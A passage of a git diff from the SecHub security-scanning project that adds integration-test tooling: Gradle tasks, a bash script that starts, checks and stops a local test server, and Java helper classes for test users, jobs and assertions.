project(':sechub-testframework') + compile project(':sechub-adapter') // we reuse trustall approach from adapters + testCompile project(':sechub-shared-kernel') + compile library.springboot_starter_mail // to have easier access to email parts + +} + +def integrationTestServerPortValue = 8443; + +task configureIntegrationTestServer{ + def integrationTestServerPortProperty="sechub.integrationtest.serverport"; + if ( project.hasProperty(integrationTestServerPortProperty)){ + integrationTestServerPortValue = project.getProperty(integrationTestServerPortProperty) + } +} + +task waitForStop(dependsOn: configureIntegrationTestServer){ + doLast{ + new IntegrationTestServerScriptAccess().waitForStop(new File("${project.projectDir}"),"$integrationTestServerPortValue") + } + +} + + +task stopOldIntegrationTestServer(dependsOn: configureIntegrationTestServer){ + doLast{ + new IntegrationTestServerScriptAccess().stop(new File("${project.projectDir}"),"$integrationTestServerPortValue") + } + +} + +/** Starts integraitontestserver + * If another integration test server runs, the script will terminate the other server automatically - will kill zombies. + */ +task startIntegrationTestServer(dependsOn: stopOldIntegrationTestServer){ + group 'sechub' + + description 'Starts an integration test server - if already a server is running we will wait until timout (10 minutes). ' + + 'When timeout build fails but "zombie server" will be stopped too!' + doLast{ + new IntegrationTestServerScriptAccess().start(new File("${project.projectDir}"), project.version.toString(),"$integrationTestServerPortValue") + } + +} + +task stopIntegrationTestServer(dependsOn: configureIntegrationTestServer){ + doLast{ + new IntegrationTestServerScriptAccess().stop(new File("${project.projectDir}"),"$integrationTestServerPortValue") + } + +} + + +/** + * Own task for integration tests. + */ +task integrationtest(type: Test, dependsOn: startIntegrationTestServer ) { + group 'sechub' + description 'Starts integration test server, execute tests and automatically stops server after done or failed' + // integration tests seems to be very often "up-to-date" + // but we want them always to be executed, so next line... + outputs.upToDateWhen { false } + /* + * We must set the system property here - gradle does fork + * the jvm on testing and does not add system properties of calling automatically so we set + * integration test properties here + */ + systemProperty "sechub.integrationtest.running", "true" + systemProperty "sechub.integrationtest.longrunning", "true" + + finalizedBy "stopIntegrationTestServer" + +} + +/** + * Special groovy class for executing external script. This is because exec task of groovy does ALWAYS wait until process has executed. + * Unfortunately this has blocked always when using exec in combination (server runs) - even when using "&" option. + * So this class was created to use just the java process builder. + */ +class IntegrationTestServerScriptAccess extends CmdExecutor{ + public void waitForStop(File workingDir, String port) throws Exception{ + executeScript("waitForStop",workingDir,null,-1,port) + } + + public void stop(File workingDir,String port) throws Exception{ + executeScript("stop",workingDir,null,60,port) + } + + public void start(File workingDir, String useVersion,String port) throws Exception{ + executeScript("start",workingDir,useVersion,300,port); /* max 5 minutes */ + } + + private void executeScript(String command, File workingDir, String useVersion, int timeOutInSeconds,String port) throws Exception{ + CmdExecutor exec = new CmdExecutor(); + exec.setTimeOutInSeconds(timeOutInSeconds); + if (OSUtil.isWindows()){ + exec.getCommand().add("cmd"); + exec.getCommand().add("/c"); + exec.getCommand().add("integrationtest-server.bat"); + }else{ + exec.getCommand().add("./integrationtest-server.sh"); + } + exec.getCommand().add(command); + if (command.equals("start")){ + exec.getCommand().add("$useVersion"); + } + exec.getCommand().add("$port"); + + exec.execute(workingDir) + } + + +} + diff --git a/sechub-integrationtest/integrationtest-server.bat b/sechub-integrationtest/integrationtest-server.bat new file mode 100644 index 0000000000..9468bc5780 --- /dev/null +++ b/sechub-integrationtest/integrationtest-server.bat @@ -0,0 +1,2 @@ +@echo off +bash integrationtest-server %1 %2 diff --git a/sechub-integrationtest/integrationtest-server.sh b/sechub-integrationtest/integrationtest-server.sh new file mode 100755 index 0000000000..ec5aaafd66 --- /dev/null +++ b/sechub-integrationtest/integrationtest-server.sh @@ -0,0 +1,232 @@ +#!/bin/bash + +# -------------------------------------------------- +# Start / Stop script for integartion test server +# -------------------------------------------------- +function usage(){ + echo "usage: integrationtest-server {}|{}" + echo " (server version is only necessary for start command" + echo " (when no serverPort is set, this port will be used, otherweise 8443 as default)" +} + +if [ -z "$1" ] ; then + echo "command is missing as first parameter!" + usage + exit 1 +fi + +function checkAlive(){ + unset SECHUB_ITS_ALIVE_HTTP_STATUS + echo "Check alive state" + SECHUB_ITS_ALIVE_HTTP_STATUS=$(curl -k -o /dev/null -I -L -s -w "%{http_code}" https://localhost:$SERVER_PORT/api/anonymous/integrationtest/alive) + if [ $SECHUB_ITS_ALIVE_HTTP_STATUS -eq 200 ]; then + echo "Integration test server is alive" + elif [ $SECHUB_ITS_ALIVE_HTTP_STATUS -eq 401 ]; then + echo "Integration test server REST not correct implemented - no anonymous access possible! Fix this!" + exit 666 + else + echo "-check alive state=$SECHUB_ITS_ALIVE_HTTP_STATUS" + fi + +} + +function status(){ + checkAlive + if [ $SECHUB_ITS_ALIVE_HTTP_STATUS -eq 200 ]; then + echo "Integration test server is running" + else + echo "- check alive state=$SECHUB_ITS_ALIVE_HTTP_STATUS" + echo "Integration test server is not running" + fi +} + +# We use this function to wait for another integration test server to be stopped. +# This can happen on a multi branch pipeline build +# +function waitForStop(){ + + # init variables + secondsToWait=30 + maxLoop=20 + timoutSeconds=$((maxLoop*secondsToWait)) + + loopCount=0 + runningSeconds=0 + + until isAlive || [ $loopCount -eq $maxLoop ]; do + sleep $secondsToWait # default suffix for sleep is 's' which means seconds + runningSeconds=$((secondsToWait*(loopCount+1))) + echo "-waited $runningSeconds/$timoutSeconds seconds for other integration test server to shutdown" + loopCount=$((loopCount+1)) + done + if [ $loopCount -eq $maxLoop ] ; then + echo "wait for other integration server failed- time out $timoutSeconds seconds reached. So did not work!" + echo "The other process seems to be in 'zombie state' so we force a stop of other server." + stopServer + echo "----------------------------------------------------" + echo "Concurrency integration test server problem happened" + echo "----------------------------------------------------" + echo "We killed another process... Even when it should be okay we must ensure" + echo "this problem gets attention by developers we terminate with 666..." + + exit 666 + fi +} + +# We use this function to wait for another integration test server to be stopped. +# This can happen on a multi branch pipeline build +# +function waitForAlive(){ + + # init variables + secondsToWait=10 + maxLoop=24 # means 24*10 = 240 seconds = 4 minutes max + timoutSeconds=$((maxLoop*secondsToWait)) + + loopCount=0 + runningSeconds=0 + + until isNotAlive || [ $loopCount -eq $maxLoop ]; do + sleep $secondsToWait # default suffix for sleep is 's' which means seconds + runningSeconds=$((secondsToWait*(loopCount+1))) + echo "-waited $runningSeconds/$timoutSeconds seconds for integration test server to become alive" + loopCount=$((loopCount+1)) + done + if [ $loopCount -eq $maxLoop ] ; then + echo "wait for integration server failed- time out $timoutSeconds seconds reached. So did not work!" + exit 666 + fi +} + +function isAlive(){ + checkAlive + if [ $SECHUB_ITS_ALIVE_HTTP_STATUS -eq 200 ]; then + return 1 + fi + return 0 +} + +function isNotAlive(){ + checkAlive + if [ $SECHUB_ITS_ALIVE_HTTP_STATUS -eq 200 ]; then + return 0 + fi + return 1 +} + +function stopServer(){ + checkAlive + if [ $SECHUB_ITS_ALIVE_HTTP_STATUS -eq 200 ]; then + echo "Try to stop Integration test server" + else + return 0 + fi + SHUTDOWN_HTTP_STATUS=$(curl -k -o /dev/null -I -L -s -w "%{http_code}" https://localhost:$SERVER_PORT/api/anonymous/integrationtest/shutdown) + echo "Shutdown triggered, result http state:$SHUTDOWN_HTTP_STATUS" + if [ $SHUTDOWN_HTTP_STATUS -eq 401 ]; then + echo "Integration test server REST not correct implemented - no anonymous access possible! Fix this!" + exit 666 + fi + checkAlive + if [ $SECHUB_ITS_ALIVE_HTTP_STATUS -eq 200 ]; then + echo "Integration test server is still alive - shutdown did not work!" + exit 666 + + fi +} + + +# Starts integration test server, needs server version as first parameter to identify jar to start with... +function startServer(){ + if [ -z "$SERVER_VERSION" ] ; then + echo "Version is missing as second parameter!" + usage + exit 1 + fi + + currentDir=$(pwd) + echo "working directory: $currentDir" + # e.g. curl -sSf https://localhost:8443/api/integrationtest/alive > /dev/null + checkAlive + + if [ $SECHUB_ITS_ALIVE_HTTP_STATUS -eq 200 ]; then + echo "A former integration test server is still alive." + stopServer + fi + + echo "starting a sechub-server $SERVER_VERSION in integration test mode" + export SPRING_PROFILES_ACTIVE=integrationtest,mocked_products,h2 + export SECHUB_SERVER_DEBUG=true + export SECHUB_STORAGE_SHAREDVOLUME_UPLOAD_DIR=temp + + pathToJar="./../sechub-server/build/libs/sechub-server-$SERVER_VERSION.jar" + if [ ! -f $pathToJar ]; then + echo ">> FAILURE: version not build:$SERVER_VERSION, looked into $pathToJar" + exit 1 + fi + pathToLog="$currentDir/integrationtest-server.log" + if [ -f $pathToLog ]; then + echo ">> INFO: removing old logfile:$pathToLog" + rm $pathToLog + fi + java -jar $pathToJar > $pathToLog & + echo ">> INFO: integration test server has been started" + echo " logfiles can be found at: $pathToLog" + echo " ... waiting for server up and running ..." + waitForAlive + exit 0 +} + +function defineServerPort(){ + if [ -z "$1" ] ; then + SERVER_PORT=8443 + echo "> no port defined, using fallback" + else + SERVER_PORT="$1" + fi +} + +function defineServerVersion(){ + if [ -z "$1" ] ; then + SERVER_VERSION="0.0.0" + echo "> no server version defined, using fallback" + else + SERVER_VERSION="$1" + fi +} + +function handleArguments() { + SERVER_COMMAND=$1 + case "$SERVER_COMMAND" in + start) + # start version port + defineServerVersion $2 + defineServerPort $3 + ;; + *) + # other port + defineServerPort $2 + ;; + esac + if [ -z "$SERVER_PORT" ] ; then + SERVER_PORT=8443 + fi + + echo "Using port $SERVER_PORT for integration test server" + +} + +handleArguments $1 $2 $3 + +case "$SERVER_COMMAND" in + start) startServer ;; + stop) stopServer ;; + waitForStop) waitForStop ;; + waitForAlive) waitForAlive ;; + status) status ;; + *) usage ;; +esac + + + + diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AbstractAssert.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AbstractAssert.java new file mode 100644 index 0000000000..b69f74dea9 --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AbstractAssert.java @@ -0,0 +1,41 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.api; + +import static org.junit.Assert.*; + +import org.springframework.http.HttpStatus; +import org.springframework.web.client.HttpClientErrorException; + +import com.daimler.sechub.integrationtest.internal.IntegrationTestContext; +import com.daimler.sechub.integrationtest.internal.TestRestHelper; +import com.daimler.sechub.test.TestURLBuilder; + +public abstract class AbstractAssert { + + IntegrationTestContext getContext() { + return IntegrationTestContext.get(); + } + + TestRestHelper getRestHelper() { + return getContext().getSuperAdminRestHelper(); + } + + TestRestHelper getRestHelper(TestUser user) { + return getContext().getRestHelper(user); + } + + TestURLBuilder getUrlBuilder() { + return getContext().getUrlBuilder(); + } + + void expectHttpClientError(HttpStatus expected, Runnable r, String errorMessage){ + try { + r.run(); + fail(errorMessage); + }catch(HttpClientErrorException e) { + if (expected!=e.getStatusCode()) { + throw new IllegalStateException("other http state than expected:"+e.getStatusCode(),e); + } + } + } +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AbstractTestExecutable.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AbstractTestExecutable.java new file mode 100644 index 0000000000..87e1c3616b --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AbstractTestExecutable.java @@ -0,0 +1,63 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.api; + +public abstract class AbstractTestExecutable implements TestExecutable{ + + private TestUser user; + private int timeoutInSeconds; + private boolean success; + private Class[] handledExceptions; + private long timeToWaitInMillis; + @SuppressWarnings("unchecked") + public AbstractTestExecutable(TestUser user, int timeoutInSeconds, Class ...handledExceptions) { + this(user,timeoutInSeconds,300,handledExceptions); + } + @SuppressWarnings("unchecked") + public AbstractTestExecutable(TestUser user, int timeoutInSeconds, long timeToWaitInMillis, Class ...handledExceptions) { + this.user=user; + this.timeoutInSeconds=timeoutInSeconds; + this.timeToWaitInMillis=timeToWaitInMillis; + + if (handledExceptions==null) { + this.handledExceptions=new Class[0]; + }else { + this.handledExceptions=handledExceptions; + } + } + @Override + public TestUser getUser() { + return user; + } + + @Override + public long getTimeToWaitInMillis() { + return timeToWaitInMillis; + } + @Override + public int getTimeoutInSeconds() { + return timeoutInSeconds; + } + + @Override + public Class[] getHandledExceptions() { + return handledExceptions; + } + + @Override + public boolean run() throws Exception { + boolean result = runImpl(); + if (result) { + success=true; + } + return result; + } + + + + public abstract boolean runImpl() throws Exception; + + @Override + public boolean wasSuccessful() { + return success; + } +} \ No newline at end of file diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AnonymousTestUser.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AnonymousTestUser.java new file mode 100644 index 0000000000..70656ea93d --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AnonymousTestUser.java @@ -0,0 +1,16 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.api; + +/** + * Those test users are not managed and so not wellknown - use them for temporary objects for action which should not be possible! + * There is no auto cleanup for those parts - so they MAY NOTbe persisted at all... + * @author Albert Tregnaghi + * + */ +public class AnonymousTestUser extends TestUser{ + + public AnonymousTestUser(String userid, String email) { + super(userid,"",email); + } + +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AsUser.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AsUser.java new file mode 100644 index 0000000000..7b482e7996 --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AsUser.java @@ -0,0 +1,358 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.api; + +import static com.daimler.sechub.integrationtest.api.TestAPI.*; +import static org.junit.Assert.*; + +import java.io.File; +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.StandardCopyOption; +import java.util.Arrays; +import java.util.Iterator; +import java.util.List; +import java.util.UUID; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.http.HttpMethod; +import org.springframework.http.MediaType; +import org.springframework.web.client.RequestCallback; +import org.springframework.web.client.ResponseExtractor; +import org.springframework.web.client.RestClientException; +import org.springframework.web.client.RestTemplate; + +import com.daimler.sechub.integrationtest.internal.IntegrationTestContext; +import com.daimler.sechub.integrationtest.internal.IntegrationTestFileSupport; +import com.daimler.sechub.integrationtest.internal.InternalConstants; +import com.daimler.sechub.integrationtest.internal.TestJSONHelper; +import com.daimler.sechub.integrationtest.internal.TestRestHelper; +import com.daimler.sechub.test.JSONTestSupport; +import com.daimler.sechub.test.TestURLBuilder; +import com.daimler.sechub.test.TestUtil; +import com.fasterxml.jackson.databind.JsonNode; + +public class AsUser { + + private static final Logger LOG = LoggerFactory.getLogger(AsUser.class); + + + TestUser user; + + AsUser(TestUser user) { + this.user = user; + } + + public WithSecHubClient withSecHubClient() { + return new WithSecHubClient(this); + } + + /** + * Accept the user wanting to signup + * + * @param userWantingToSignup + * @return + */ + public AsUser upload(TestProject project, UUID jobUUID, File file, String checkSum) { + /* @formatter:off */ + getRestHelper().upload(getUrlBuilder(). + buildUploadSourceCodeUrl(project.getProjectId(),jobUUID),file,checkSum); + /* @formatter:on */ + return this; + } + + /** + * Accept the user wanting to signup + * + * @param userWantingToSignup + * @return + */ + public AsUser acceptSignup(TestUser userWantingToSignup) { + if (userWantingToSignup == null) { + fail("user may not be null!"); + return null; + } + + /* @formatter:off */ + getRestHelper().post(getUrlBuilder(). + buildAdminAcceptsUserSignUpUrl(userWantingToSignup.getUserId())); + /* @formatter:on */ + return this; + } + + private TestRestHelper getRestHelper() { + return getContext().getRestHelper(user); + } + + /** + * Signup given (new) user + * + * @param user + * @return this + */ + public AsUser signUpAs(TestUser user) { + + String json = "{\"apiVersion\":\"1.0\",\r\n" + " \"userId\":\"" + user.getUserId() + "\",\r\n" + + " \"emailAdress\":\"" + user.getEmail() + "\"}"; + getRestHelper().postJSon(getUrlBuilder().buildUserSignUpUrl(), json); + return this; + + } + + public AsUser requestNewApiTokenFor(String emailAddress) { + getRestHelper().postJSon(getUrlBuilder().buildAnonymousRequestNewApiToken(emailAddress),""); + return this; + } + + + private TestURLBuilder getUrlBuilder() { + return getContext().getUrlBuilder(); + } + + private IntegrationTestContext getContext() { + return IntegrationTestContext.get(); + } + /** + * Tries to create the project + * + * @param project + * @throws RestClientException + */ + public void createProject(TestProject project, String ownerName) { + if (ownerName==null) { + // we use always the user how creates the project as owner when not explicit set + ownerName=this.user.getUserId(); + } + /* @formatter:off */ + StringBuilder json = new StringBuilder(); + TestJSONHelper jsonHelper = TestJSONHelper.get(); + json.append("{\n" + + " \"apiVersion\":\"1.0\",\n" + + " \"name\":\""+project.getProjectId()+"\",\n" + + " \"owner\":\""+ownerName+"\",\n" + + " \"description\":\""+project.getDescription()+"\""); + if (! project.getWhiteListUrls().isEmpty()) { + json.append(",\n \"whiteList\" : {\"uris\":["); + + for (Iterator it = project.getWhiteListUrls().iterator();it.hasNext();) { + String url = it.next(); + json.append("\""+url+"\""); + if (it.hasNext()){ + json.append(","); + } + } + json.append("]\n"); + json.append(" }\n"); + } + + json.append("}\n"); + jsonHelper.assertValidJson(json.toString()); + /* @formatter:on */ + getRestHelper().postJSon(getUrlBuilder().buildAdminCreatesProjectUrl(), json.toString()); + + } + + public String getServerURL() { + return getUrlBuilder().buildServerURL(); + } + + public String getStringFromURL(String link) { + return getRestHelper().getStringFromURL(link); + } + + /** + * Assigns user to a project + * + * @param targetUser + * @param project + * @return this + */ + public AsUser assignUserToProject(TestUser targetUser, TestProject project) { + LOG.debug("assigning user:{} to project:{}",user.getUserId(),project.getProjectId()); + getRestHelper().postJSon( + getUrlBuilder().buildAdminAssignsUserToProjectUrl(targetUser.getUserId(), project.getProjectId()), + ""); + return this; + } + + /** + * Unassigns user from project + * + * @param targetUser + * @param project + * @return this + */ + public AsUser unassignUserFromProject(TestUser targetUser, TestProject project) { + LOG.debug("unassigning user:{} from project:{}",user.getUserId(),project.getProjectId()); + getRestHelper().delete(getUrlBuilder().buildAdminUnassignsUserFromProjectUrl(targetUser.getUserId(), + project.getProjectId())); + return this; + } + + private String createWebScanJob(TestProject project, RunMode runMode) { + String json = IntegrationTestFileSupport.getTestfileSupport() + .loadTestFile("sechub-integrationtest-webscanconfig1.json"); + String projectId = project.getProjectId(); + + json = json.replaceAll("__projectId__", projectId); + List whites = project.getWhiteListUrls(); + String acceptedURI1; + if (runMode==RunMode.LONG_RUNNING_BUT_GREEN) { + acceptedURI1=InternalConstants.URL_FOR_LONG_RUNNING; + }else { + if (whites == null || whites.isEmpty()) { + acceptedURI1 = "https://undefined.com"; + } else { + Iterator iterator = whites.iterator(); + acceptedURI1 = iterator.next(); + if (InternalConstants.URL_FOR_LONG_RUNNING.equals(acceptedURI1)) { + // ups ignore this one and take next + acceptedURI1= iterator.next(); + } + } + } + + json = json.replaceAll("__acceptedUri1__", acceptedURI1); + String url = getUrlBuilder().buildAddJobUrl(projectId); + return getRestHelper().postJSon(url, json); + } + + public void approveJob(TestProject project, UUID jobUUID) { + getRestHelper().put(getUrlBuilder().buildApproveJobUrl(project.getProjectId(), jobUUID.toString())); + } + + public AsUser updateWhiteListForProject(TestProject project, List uris) { + String json = IntegrationTestFileSupport.getTestfileSupport() + .loadTestFile("sechub-integrationtest-updatewhitelist1.json"); + StringBuilder sb = new StringBuilder(); + for (Iterator it = uris.iterator(); it.hasNext();) { + sb.append("\\\""); + sb.append(it.next()); + sb.append("\\\""); + if (it.hasNext()) { + sb.append(" , "); + } + } + json = json.replaceAll("__acceptedUris__", sb.toString()); + getRestHelper().postJSon(getUrlBuilder().buildUpdateProjectWhiteListUrl(project.getProjectId()), json); + return this; + + } + + public String getJobStatus(String projectId, UUID jobUUID) { + return getRestHelper().getJSon(getUrlBuilder().buildGetJobStatusUrl(projectId, jobUUID.toString())); + } + + public String getJobReport(String projectId, UUID jobUUID) { + int count = 0; + boolean jobEnded = false; + while (count < 10) { + String jobstatus = getJobStatus(projectId, jobUUID); + if (jobstatus.indexOf("ENDED") != -1) { + jobEnded = true; + break; + } + TestUtil.waitMilliseconds(200); + } + if (!jobEnded) { + throw new IllegalStateException("Even after some retries no job report state was accessible!"); + } + /* okay report is available - so do downooad */ + return getRestHelper().getJSon(getUrlBuilder().buildGetJobReportUrl(projectId, jobUUID)); + } + + /** + * Starts a webscan job for project (but job is not started) + * + * @param project + * @return uuid for created job + */ + public UUID createWebScan(TestProject project) { + return createWebScan(project,null); + } + + /** + * + * @param project + * @param useLongRunningButGreen + * @return + */ + public UUID createWebScan(TestProject project, RunMode runMode) { + assertProject(project).doesExist(); + if (runMode==null) { + runMode=RunMode.NORMAL; + } + String response = createWebScanJob(project,runMode); + try { + JsonNode jsonNode = JSONTestSupport.DEFAULT.fromJson(response); + JsonNode jobId = jsonNode.get("jobId"); + if (jobId == null) { + fail("No jobID entry found in json:\n" + response); + return null; + } + return UUID.fromString(jobId.textValue()); + } catch (IllegalArgumentException e) { + fail("Job did not return with a valid UUID!:" + response); + throw new IllegalStateException("fail not working"); + } catch (IOException e) { + throw new IllegalStateException("io failure, should not occure", e); + } + + } + public File downloadAsTempFileFromURL(String url, UUID jobUUID) { + String fileName = "sechub-file-redownload-"+jobUUID.toString(); + String fileEnding=".zip"; + return downloadAsTempFileFromURL(url, jobUUID, fileName,fileEnding); + } + + public File downloadAsTempFileFromURL(String url, UUID jobUUID,String fileName, String fileEnding) { + + // Optional Accept header + RequestCallback requestCallback = request -> request.getHeaders() + .setAccept(Arrays.asList(MediaType.APPLICATION_OCTET_STREAM, MediaType.ALL)); + + ResponseExtractor responseExtractor = response -> { + Path path = Files.createTempFile(fileName, fileEnding); + Files.copy(response.getBody(), path, StandardCopyOption.REPLACE_EXISTING); + if (TestUtil.isDeletingTempFiles()){ + path.toFile().deleteOnExit(); + } + return path.toFile(); + }; + RestTemplate template = getRestHelper().getTemplate(); + File x = template.execute(url, HttpMethod.GET, requestCallback, responseExtractor); + return x; + } + + public String getServerVersion() { + return getRestHelper().getJSon(getUrlBuilder().buildGetServerVersionUrl()); + } + + public AssertFullScanData downloadFullScanDataFor(UUID sechubJobUUID) { + String url = getUrlBuilder().buildAdminDownloadsZipFileContainingFullScanDataFor(sechubJobUUID); + File file = downloadAsTempFileFromURL(url, sechubJobUUID,"download-fullscan",".zip"); + return new AssertFullScanData(file); + } + + public AsUser grantSuperAdminRightsTo(TestUser targetUser) { + String url = getUrlBuilder().buildAdminGrantsSuperAdminRightsTo(targetUser.getUserId()); + getRestHelper().post(url); + return this; + } + + public AsUser revokeSuperAdminRightsFrom(TestUser targetUser) { + String url = getUrlBuilder().buildAdminRevokesSuperAdminRightsFrom(targetUser.getUserId()); + getRestHelper().post(url); + return this; + } + + + public String getScanLogsForProject(TestProject project1) { + String url = getUrlBuilder().buildAdminFetchesScanLogsForProject(project1.getProjectId()); + return getRestHelper().getJSon(url); + } + + + +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AssertExecutionResult.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AssertExecutionResult.java new file mode 100644 index 0000000000..23d9276ca4 --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AssertExecutionResult.java @@ -0,0 +1,55 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.api; + +import static org.junit.Assert.*; + +import com.daimler.sechub.integrationtest.internal.SecHubClientExecutor.ExecutionResult; + +public class AssertExecutionResult{ + + private ExecutionResult result; + + public static AssertExecutionResult assertResult(ExecutionResult result) { + if (result==null) { + fail("result is null!"); + } + return new AssertExecutionResult(result); + } + + private AssertExecutionResult(ExecutionResult result) { + this.result=result; + } + + public AssertExecutionResult isGreen() { + return isTrafficLight("GREEN"); + } + + public AssertExecutionResult isRed() { + return isTrafficLight("RED"); + } + + public AssertExecutionResult isYellow() { + return isTrafficLight("YELLOW"); + } + + public AssertExecutionResult hasExitCode(int exitCode) { + assertEquals("Exit code not as expected!", exitCode,result.getExitCode()); + return this; + } + + protected AssertExecutionResult isTrafficLight(String color) { + if (color==null) { + throw new IllegalArgumentException("color may not be null - testcase corrupt!"); + } + String lastOutputLine = result.getLastOutputLine(); + if (lastOutputLine==null) { + fail("No output line available, so cannot be color:"+color); + } + String found = lastOutputLine.trim(); + String wanted = color; + if (! found.startsWith(wanted)) { + fail("Expected: '"+color+"'\nbut got\n'"+lastOutputLine+"'"); + } + return this; + } +} \ No newline at end of file diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AssertFullScanData.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AssertFullScanData.java new file mode 100644 index 0000000000..20daa10ecd --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AssertFullScanData.java @@ -0,0 +1,111 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.api; + +import static org.junit.Assert.*; + +import java.io.BufferedReader; +import java.io.File; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.util.ArrayList; +import java.util.Enumeration; +import java.util.List; +import java.util.zip.ZipEntry; +import java.util.zip.ZipFile; + + +public class AssertFullScanData { + List fullDataScanElements; + private File file; + + public AssertFullScanData(File file) { + if (file==null) { + throw new IllegalArgumentException("file may not be null"); + } + if (!file.exists()) { + throw new IllegalStateException("File does not exist:"+file); + } + this.file= file; + this.fullDataScanElements=readZipfile(file); + } + + public AssertFullScanData containsFiles(int amount) { + assertEquals(amount,fullDataScanElements.size()); + return this; + } + + public AssertFullScanData containsFile(String name) { + assertFile(name, fullDataScanElements,ScanMode.EQUAL); + return this; + } + + public FullScanDataElement resolveFile(String name) { + return assertFile(name, fullDataScanElements,ScanMode.EQUAL); + } + + public FullScanDataElement resolveFileStartingWith(String name) { + return assertFile(name, fullDataScanElements,ScanMode.STARTSWITH); + } + + private FullScanDataElement assertFile(String name,List list,ScanMode mode) { + for (FullScanDataElement element: list) { + if (mode==ScanMode.EQUAL) { + if(name.contentEquals(element.fileName)) { + return element; + } + }else if (mode==ScanMode.STARTSWITH) { + if(element.fileName.startsWith(name)) { + return element; + } + } + } + fail("Not found file name "+name+" inside list:\n"+list); + return null; + } + + private List readZipfile(File file){ + List list = new ArrayList<>(); + try(ZipFile zipFile = new ZipFile(file)){ + Enumeration entries = zipFile.entries(); + while(entries.hasMoreElements()){ + ZipEntry entry = entries.nextElement(); + InputStream stream = zipFile.getInputStream(entry); + try(BufferedReader br = new BufferedReader(new InputStreamReader(stream))){ + String line = null; + StringBuilder sb = new StringBuilder(); + while ( (line=br.readLine())!=null) { + sb.append(line); + sb.append("\n"); + } + FullScanDataElement d = new FullScanDataElement(); + d.fileName = entry.getName(); + d.content=sb.toString(); + list.add(d); + } + } + }catch(Exception e) { + throw new AssertionError("Cannot read zip file:"+file,e); + } + return list; + } + + public class FullScanDataElement{ + public String fileName; + public String content; + + @Override + public String toString() { + return "FullScanDataElement [fileName=" + fileName + "]"; + } + } + + @Override + public String toString() { + return "AssertFullScanData [file=" + file + ", fullDataScanElements=" + fullDataScanElements + "]"; + } + + private enum ScanMode{ + EQUAL, + STARTSWITH + } +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AssertJobInformationAdministration.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AssertJobInformationAdministration.java new file mode 100644 index 0000000000..6a66228588 --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AssertJobInformationAdministration.java @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.api; + +import static org.junit.Assert.*; + +import java.util.UUID; + +public class AssertJobInformationAdministration extends AbstractAssert { + + private static final int DEFAULT_TIMEOUT_MS = 5000; + private TestUser user; + + /** + * Creates assert object - if user is able to fetch job list... + * + * @param user + */ + public AssertJobInformationAdministration(TestUser user) { + this.user = user; + } + + public AssertJobInformation canFindRunningJob(UUID jobUUID) { + return canFindRunningJob(jobUUID,DEFAULT_TIMEOUT_MS); + } + + public AssertJobInformation canFindRunningJob(UUID jobUUID, long timeOutInMilliseconds) { + return new AssertJobInformation(jobUUID, true,timeOutInMilliseconds); + } + public AssertJobInformationAdministration canNotFindRunningJob(UUID jobUUID) { + return canNotFindRunningJob(jobUUID, DEFAULT_TIMEOUT_MS); + } + public AssertJobInformationAdministration canNotFindRunningJob(UUID jobUUID, long timeOutInMilliseconds) { + new AssertJobInformation(jobUUID, false,timeOutInMilliseconds); + return this; + } + + public class AssertJobInformation { + + public AssertJobInformation(UUID jobUUID, boolean expected, long timeOutInMilliseconds) { + internalCheck(jobUUID, expected, timeOutInMilliseconds); + } + + private void internalCheck(UUID jobUUID, boolean expected,long timeOutInMilliseconds) { + long start = System.currentTimeMillis(); + boolean timeElapsed=false; + while (!timeElapsed) { /*NOSONAR*/ + + timeElapsed= System.currentTimeMillis()-start>timeOutInMilliseconds; + + String json = getRestHelper(user).getJSon(getUrlBuilder().buildAdminFetchAllRunningJobsUrl()); + /* very simple ... maybe this should be improved... */ + boolean found = json != null && json.contains("\"" + jobUUID); + if (expected) { + if (found) { + /* oh found - done */ + break; + }else if ( timeElapsed) { + fail("JSON did not contain:\n" + jobUUID + "\nwas:\n" + json+"\n (waited :"+timeElapsed+" milliseconds!)"); + } + } else { + if (!found) { + /* oh not found - done */ + break; + }else if (timeElapsed) { + fail("JSON DID contain:\n" + jobUUID + "\nwas:\n" + json +"\n (waited :"+timeElapsed+" milliseconds!)"); + } + } + TestAPI.waitMilliSeconds(300); + } + } + } + +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AssertMail.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/api/AssertMail.java new file mode 100644 index 